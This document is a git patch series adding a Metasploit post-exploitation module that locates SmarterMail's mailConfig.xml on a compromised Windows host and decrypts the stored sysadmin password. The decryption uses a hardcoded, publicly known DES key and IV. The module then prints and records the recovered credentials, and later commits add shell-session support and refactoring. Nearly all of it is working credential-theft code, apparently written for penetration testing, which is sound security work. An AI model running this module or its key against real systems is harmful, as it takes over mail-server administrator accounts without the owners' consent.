From e30195348e8ff0d44426966eb939c3ba07a3d8fa Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 2 Feb 2014 05:51:21 +1030 Subject: [PATCH 1/7] Add Windows Gather SmarterMail Password Extraction post module --- .../windows/gather/credentials/smartermail.rb | 124 ++++++++++++++++++ 1 file changed, 124 insertions(+) create mode 100644 modules/post/windows/gather/credentials/smartermail.rb diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb new file mode 100644 index 0000000000..c17f04318f --- /dev/null +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -0,0 +1,124 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/auxiliary/report' +require 'rex' + +class Metasploit3 < Msf::Post + include Msf::Auxiliary::Report + include Msf::Post::File + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather SmarterMail Password Extraction', + 'Description' => %q{ + This module extracts and decrypts the sysadmin password in the + SmarterMail 'mailConfig.xml' configuration file. The encryption + key and IV are publicly known. + This module has been tested successfully on SmarterMail versions + 10.7.4842 and 11.7.5136. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Joe Giron @theonlyevil1', # Discovery and PoC + 'Brendan Coles ' # Metasploit + ], + 'References' => + [ + [ 'URL', 'http://www.gironsec.com/blog/tag/cracking-smartermail/'] + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + end + + # + # Decrypt DES encrypted password string + # + def decrypt_des encrypted + return nil if encrypted.nil? + decipher = OpenSSL::Cipher::DES.new + decipher.decrypt + decipher.key = "\xb9\x9a\x52\xd4\x58\x77\xe9\x18" + decipher.iv = "\x52\xe9\xc3\x9f\x13\xb4\x1d\x0f" + return decipher.update(encrypted) + decipher.final + end + + # + # Find SmarterMail 'mailConfig.xml' config file + # + def check_smartermail + drive = session.fs.file.expand_path("%SystemDrive%") + ['Program Files (x86)', 'Program Files'].each do |program_dir| + begin + path = "#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml" + vprint_status "#{@host} (#{@comp}) - Checking for SmarterMail config file: #{path}" + return path if client.fs.file.stat(path) + rescue Rex::Post::Meterpreter::RequestError => e + print_error "#{@host} (#{@comp}) - Could not load #{path} - #{e}" + return + end + end + end + + # + # Retrieve username and decrypt encrypted password string from the config file + # + def get_smartermail_creds(path) + vprint_status "#{@host} (#{@comp}) - Retrieving SmarterMail sysadmin password" + begin + data = read_file("#{path}") || '' + rescue Rex::Post::Meterpreter::RequestError => e + print_error "#{@host} (#{@comp}) - Failed to download #{path} - #{e}" + return + end + if data.nil? + print_error "#{@host} (#{@comp}) - Configuration file is empty." + return + end + @username = "#{$1}" if data =~ /(.+)<\/sysAdminUserName>/ + @password = decrypt_des(Rex::Text.decode_base64("#{$1}")) if data =~ /(.+)<\/sysAdminPassword>/ + end + + # + # Find the config file, extract the encrypted password and decrypt it + # + def run + @host = "#{session.sock.peerhost}" + @comp = "#{sysinfo['Computer']}" + if session.type != "meterpreter" + print_error "#{@host} (#{@comp}) - Only meterpreter sessions are supported by this post module" + return + end + + # check for SmartMail config file + config_path = check_smartermail + if config_path.nil? + print_error "#{@host} (#{@comp}) - Could not find SmarterMail config file" + return + end + + # retrieve username and decrypted password from config file + @username = nil + @password = nil + get_smartermail_creds(config_path) + if @password.nil? + print_error "#{@host} (#{@comp}) - Could not decrypt password string" + return + end + + # report result + print_good "#{@host} (#{@comp}) - Found credentials. Username: '#{@username}' Password: '#{@password}'" + report_auth_info( + :host => @host, + :sname => 'http', + :user => @username, + :pass => @password, + :source_id => session.db_record ? session.db_record.id : nil, + :source_type => 'vuln') + end +end From 62dca111f8f7b14bdfd42111cbbd1d2bc2390d12 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 2 Feb 2014 08:07:18 +1030 Subject: [PATCH 2/7] Conform to style --- .../windows/gather/credentials/smartermail.rb | 103 +++++++++--------- 1 file changed, 53 insertions(+), 50 deletions(-) diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index c17f04318f..eac200f4cb 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -1,8 +1,8 @@ +# -*- coding: utf-8 -*- ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/auxiliary/report' require 'rex' @@ -11,55 +11,57 @@ class Metasploit3 < Msf::Post include Msf::Auxiliary::Report include Msf::Post::File - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Gather SmarterMail Password Extraction', - 'Description' => %q{ - This module extracts and decrypts the sysadmin password in the - SmarterMail 'mailConfig.xml' configuration file. The encryption - key and IV are publicly known. - This module has been tested successfully on SmarterMail versions - 10.7.4842 and 11.7.5136. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Joe Giron @theonlyevil1', # Discovery and PoC - 'Brendan Coles ' # Metasploit + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Windows Gather SmarterMail Password Extraction', + 'Description' => %q{ + This module extracts and decrypts the sysadmin password in the + SmarterMail 'mailConfig.xml' configuration file. The encryption + key and IV are publicly known. + This module has been tested successfully on SmarterMail versions + 10.7.4842 and 11.7.5136. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Joe Giron @theonlyevil1', # Discovery and PoC + 'Brendan Coles ' # Metasploit + ], + 'References' => + [ + ['URL', 'http://www.gironsec.com/blog/tag/cracking-smartermail/'] ], - 'References' => - [ - [ 'URL', 'http://www.gironsec.com/blog/tag/cracking-smartermail/'] - ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ] - )) - + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'] + )) end # # Decrypt DES encrypted password string # - def decrypt_des encrypted + def decrypt_des(encrypted) return nil if encrypted.nil? decipher = OpenSSL::Cipher::DES.new decipher.decrypt decipher.key = "\xb9\x9a\x52\xd4\x58\x77\xe9\x18" decipher.iv = "\x52\xe9\xc3\x9f\x13\xb4\x1d\x0f" - return decipher.update(encrypted) + decipher.final + decipher.update(encrypted) + decipher.final end # # Find SmarterMail 'mailConfig.xml' config file # def check_smartermail - drive = session.fs.file.expand_path("%SystemDrive%") + drive = session.fs.file.expand_path('%SystemDrive%') ['Program Files (x86)', 'Program Files'].each do |program_dir| begin path = "#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml" - vprint_status "#{@host} (#{@comp}) - Checking for SmarterMail config file: #{path}" + vprint_status "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + + "Checking for SmarterMail config file: #{path}" return path if client.fs.file.stat(path) rescue Rex::Post::Meterpreter::RequestError => e - print_error "#{@host} (#{@comp}) - Could not load #{path} - #{e}" + print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + + "Could not load #{path} - #{e}" return end end @@ -69,55 +71,56 @@ class Metasploit3 < Msf::Post # Retrieve username and decrypt encrypted password string from the config file # def get_smartermail_creds(path) - vprint_status "#{@host} (#{@comp}) - Retrieving SmarterMail sysadmin password" + result = {} + vprint_status "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + + 'Retrieving SmarterMail sysadmin password' begin data = read_file("#{path}") || '' rescue Rex::Post::Meterpreter::RequestError => e - print_error "#{@host} (#{@comp}) - Failed to download #{path} - #{e}" + print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + + "Failed to download #{path} - #{e}" return end if data.nil? - print_error "#{@host} (#{@comp}) - Configuration file is empty." + print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + + 'Configuration file is empty.' return end - @username = "#{$1}" if data =~ /(.+)<\/sysAdminUserName>/ - @password = decrypt_des(Rex::Text.decode_base64("#{$1}")) if data =~ /(.+)<\/sysAdminPassword>/ + username = data.match(/(.+)<\/sysAdminUserName>/) + password = data.match(/(.+)<\/sysAdminPassword>/) + result['username'] = username[1] unless username.nil? + result['password'] = decrypt_des(Rex::Text.decode_base64(password[1])) unless password.nil? + result end # # Find the config file, extract the encrypted password and decrypt it # def run - @host = "#{session.sock.peerhost}" - @comp = "#{sysinfo['Computer']}" - if session.type != "meterpreter" - print_error "#{@host} (#{@comp}) - Only meterpreter sessions are supported by this post module" - return - end - # check for SmartMail config file config_path = check_smartermail if config_path.nil? - print_error "#{@host} (#{@comp}) - Could not find SmarterMail config file" + print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + + 'Could not find SmarterMail config file' return end # retrieve username and decrypted password from config file - @username = nil - @password = nil - get_smartermail_creds(config_path) - if @password.nil? - print_error "#{@host} (#{@comp}) - Could not decrypt password string" + result = get_smartermail_creds(config_path) + if result['password'].nil? + print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + + 'Could not decrypt password string' return end # report result - print_good "#{@host} (#{@comp}) - Found credentials. Username: '#{@username}' Password: '#{@password}'" + print_good "#{session.sock.peerhost} (#{sysinfo['Computer']}) - Found credentials. " + + "Username: '#{result['username']}' Password: '#{result['password']}'" report_auth_info( - :host => @host, + :host => session.sock.peerhost, :sname => 'http', - :user => @username, - :pass => @password, + :user => result['username'], + :pass => result['password'], :source_id => session.db_record ? session.db_record.id : nil, :source_type => 'vuln') end From 2b2194cee81d50ee4bd7b6e771ca30172e261050 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 2 Feb 2014 21:58:10 -0600 Subject: [PATCH 3/7] Modify prints --- .../windows/gather/credentials/smartermail.rb | 41 +++++++++---------- 1 file changed, 19 insertions(+), 22 deletions(-) diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index eac200f4cb..a73c4f99ed 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -1,15 +1,13 @@ -# -*- coding: utf-8 -*- ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## + require 'msf/core' require 'msf/core/auxiliary/report' -require 'rex' class Metasploit3 < Msf::Post include Msf::Auxiliary::Report - include Msf::Post::File def initialize(info = {}) super(update_info( @@ -19,12 +17,13 @@ class Metasploit3 < Msf::Post This module extracts and decrypts the sysadmin password in the SmarterMail 'mailConfig.xml' configuration file. The encryption key and IV are publicly known. + This module has been tested successfully on SmarterMail versions 10.7.4842 and 11.7.5136. }, 'License' => MSF_LICENSE, 'Author' => [ - 'Joe Giron @theonlyevil1', # Discovery and PoC + 'Joe Giron', # Discovery and PoC (@theonlyevil1) 'Brendan Coles ' # Metasploit ], 'References' => @@ -36,6 +35,10 @@ class Metasploit3 < Msf::Post )) end + def peer + "#{session.sock.peerhost} (#{sysinfo['Computer']})" + end + # # Decrypt DES encrypted password string # @@ -56,12 +59,10 @@ class Metasploit3 < Msf::Post ['Program Files (x86)', 'Program Files'].each do |program_dir| begin path = "#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml" - vprint_status "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + - "Checking for SmarterMail config file: #{path}" + vprint_status "#{peer} - Checking for SmarterMail config file: #{path}" return path if client.fs.file.stat(path) rescue Rex::Post::Meterpreter::RequestError => e - print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + - "Could not load #{path} - #{e}" + print_error "#{peer} - Could not load #{path} - #{e}" return end end @@ -72,18 +73,15 @@ class Metasploit3 < Msf::Post # def get_smartermail_creds(path) result = {} - vprint_status "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + - 'Retrieving SmarterMail sysadmin password' + vprint_status "#{peer} - Retrieving SmarterMail sysadmin password" begin data = read_file("#{path}") || '' rescue Rex::Post::Meterpreter::RequestError => e - print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + - "Failed to download #{path} - #{e}" + print_error "#{peer} - Failed to download #{path} - #{e.to_s}" return end if data.nil? - print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + - 'Configuration file is empty.' + print_error "#{peer} - Configuration file is empty." return end username = data.match(/(.+)<\/sysAdminUserName>/) @@ -100,27 +98,26 @@ class Metasploit3 < Msf::Post # check for SmartMail config file config_path = check_smartermail if config_path.nil? - print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + - 'Could not find SmarterMail config file' + print_error "#{peer} - Could not find SmarterMail config file" return end # retrieve username and decrypted password from config file result = get_smartermail_creds(config_path) if result['password'].nil? - print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + - 'Could not decrypt password string' + print_error "#{peer} - Could not decrypt password string" return end # report result - print_good "#{session.sock.peerhost} (#{sysinfo['Computer']}) - Found credentials. " + - "Username: '#{result['username']}' Password: '#{result['password']}'" + user = result['username'] + pass = result['password'] + print_good "#{peer} - Found Username: '#{user}' Password: '#{pass}'" report_auth_info( :host => session.sock.peerhost, :sname => 'http', - :user => result['username'], - :pass => result['password'], + :user => user, + :pass => pass, :source_id => session.db_record ? session.db_record.id : nil, :source_type => 'vuln') end From 662fbf53b656d0aa2dbec3084c0c8a1d11578fac Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 2 Feb 2014 22:01:38 -0600 Subject: [PATCH 4/7] Update check_smartermail method Instead of using exception handling to determine the right path, the new method simply uses the file? method. It's also renamed as "get_mail_config_path" to properly describe its functionality. --- .../windows/gather/credentials/smartermail.rb | 24 +++++++++++-------- 1 file changed, 14 insertions(+), 10 deletions(-) diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index a73c4f99ed..9102450502 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -7,6 +7,8 @@ require 'msf/core' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post + + include Msf::Post::File include Msf::Auxiliary::Report def initialize(info = {}) @@ -54,18 +56,20 @@ class Metasploit3 < Msf::Post # # Find SmarterMail 'mailConfig.xml' config file # - def check_smartermail + def get_mail_config_path + found_path = '' drive = session.fs.file.expand_path('%SystemDrive%') + ['Program Files (x86)', 'Program Files'].each do |program_dir| - begin - path = "#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml" - vprint_status "#{peer} - Checking for SmarterMail config file: #{path}" - return path if client.fs.file.stat(path) - rescue Rex::Post::Meterpreter::RequestError => e - print_error "#{peer} - Could not load #{path} - #{e}" - return + path = "#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml" + vprint_status "#{peer} - Checking for SmarterMail config file: #{path}" + if file?(path) + found_path = path + break end end + + found_path end # @@ -96,8 +100,8 @@ class Metasploit3 < Msf::Post # def run # check for SmartMail config file - config_path = check_smartermail - if config_path.nil? + config_path = get_mail_config_path + if config_path.blank? print_error "#{peer} - Could not find SmarterMail config file" return end From ae84e354e8df5dbb425de0f62205af67790cb52c Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 2 Feb 2014 22:06:14 -0600 Subject: [PATCH 5/7] Be consistent with get_smartermail_creds method's return value --- .../post/windows/gather/credentials/smartermail.rb | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index 9102450502..313a2e97af 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -77,17 +77,21 @@ class Metasploit3 < Msf::Post # def get_smartermail_creds(path) result = {} + data = '' + vprint_status "#{peer} - Retrieving SmarterMail sysadmin password" begin - data = read_file("#{path}") || '' + data = read_file("#{path}") rescue Rex::Post::Meterpreter::RequestError => e print_error "#{peer} - Failed to download #{path} - #{e.to_s}" - return + return result end - if data.nil? + + if data.blank? print_error "#{peer} - Configuration file is empty." - return + return result end + username = data.match(/(.+)<\/sysAdminUserName>/) password = data.match(/(.+)<\/sysAdminPassword>/) result['username'] = username[1] unless username.nil? From 0d02f6d5892f1ad26e3acda67ca125d7c2533e02 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 2 Feb 2014 23:37:26 -0600 Subject: [PATCH 6/7] Add support for win shells for file? --- lib/msf/core/post/file.rb | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 7013b95832..8a59d0a12c 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -72,7 +72,16 @@ module Msf::Post::File return stat.file? else if session.platform =~ /win/ - # XXX + out = session.shell_command_token("type \"#{path}\"").to_s.strip + # Possible error messages when opening a file, see: + # http://technet.microsoft.com/en-us/library/cc956687.aspx + if out =~ /^The system cannot find the path specified/ + return false + elsif out =~ /^The filename, directory name, or volume label syntax is incorrect/ + return false + else + return true + end else f = session.shell_command_token("test -f '#{path}' && echo true") return false if f.nil? or f.empty? From e54abb4274eba9066c6f2c64c39f18a7bc92bbd0 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 2 Feb 2014 23:37:56 -0600 Subject: [PATCH 7/7] Add support for shell session type --- .../windows/gather/credentials/smartermail.rb | 29 ++++++++++++++----- 1 file changed, 21 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index 313a2e97af..1a9e2530d3 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -25,20 +25,33 @@ class Metasploit3 < Msf::Post }, 'License' => MSF_LICENSE, 'Author' => [ - 'Joe Giron', # Discovery and PoC (@theonlyevil1) - 'Brendan Coles ' # Metasploit + 'Joe Giron', # Discovery and PoC (@theonlyevil1) + 'Brendan Coles ', # Metasploit + 'sinn3r' # shell session support ], 'References' => [ ['URL', 'http://www.gironsec.com/blog/tag/cracking-smartermail/'] ], 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter'] + 'SessionTypes' => ['meterpreter', 'shell'] )) end + def r_host + if session.type =~ /meterpreter/ + session.sock.peerhost + else + session.session_host + end + end + def peer - "#{session.sock.peerhost} (#{sysinfo['Computer']})" + if session.type =~ /meterpreter/ + "#{r_host} (#{sysinfo['Computer']})" + else + r_host + end end # @@ -58,10 +71,10 @@ class Metasploit3 < Msf::Post # def get_mail_config_path found_path = '' - drive = session.fs.file.expand_path('%SystemDrive%') + drive = expand_path('%SystemDrive%').strip ['Program Files (x86)', 'Program Files'].each do |program_dir| - path = "#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml" + path = %Q|#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml|.strip vprint_status "#{peer} - Checking for SmarterMail config file: #{path}" if file?(path) found_path = path @@ -81,7 +94,7 @@ class Metasploit3 < Msf::Post vprint_status "#{peer} - Retrieving SmarterMail sysadmin password" begin - data = read_file("#{path}") + data = read_file(path) rescue Rex::Post::Meterpreter::RequestError => e print_error "#{peer} - Failed to download #{path} - #{e.to_s}" return result @@ -122,7 +135,7 @@ class Metasploit3 < Msf::Post pass = result['password'] print_good "#{peer} - Found Username: '#{user}' Password: '#{pass}'" report_auth_info( - :host => session.sock.peerhost, + :host => r_host, :sname => 'http', :user => user, :pass => pass,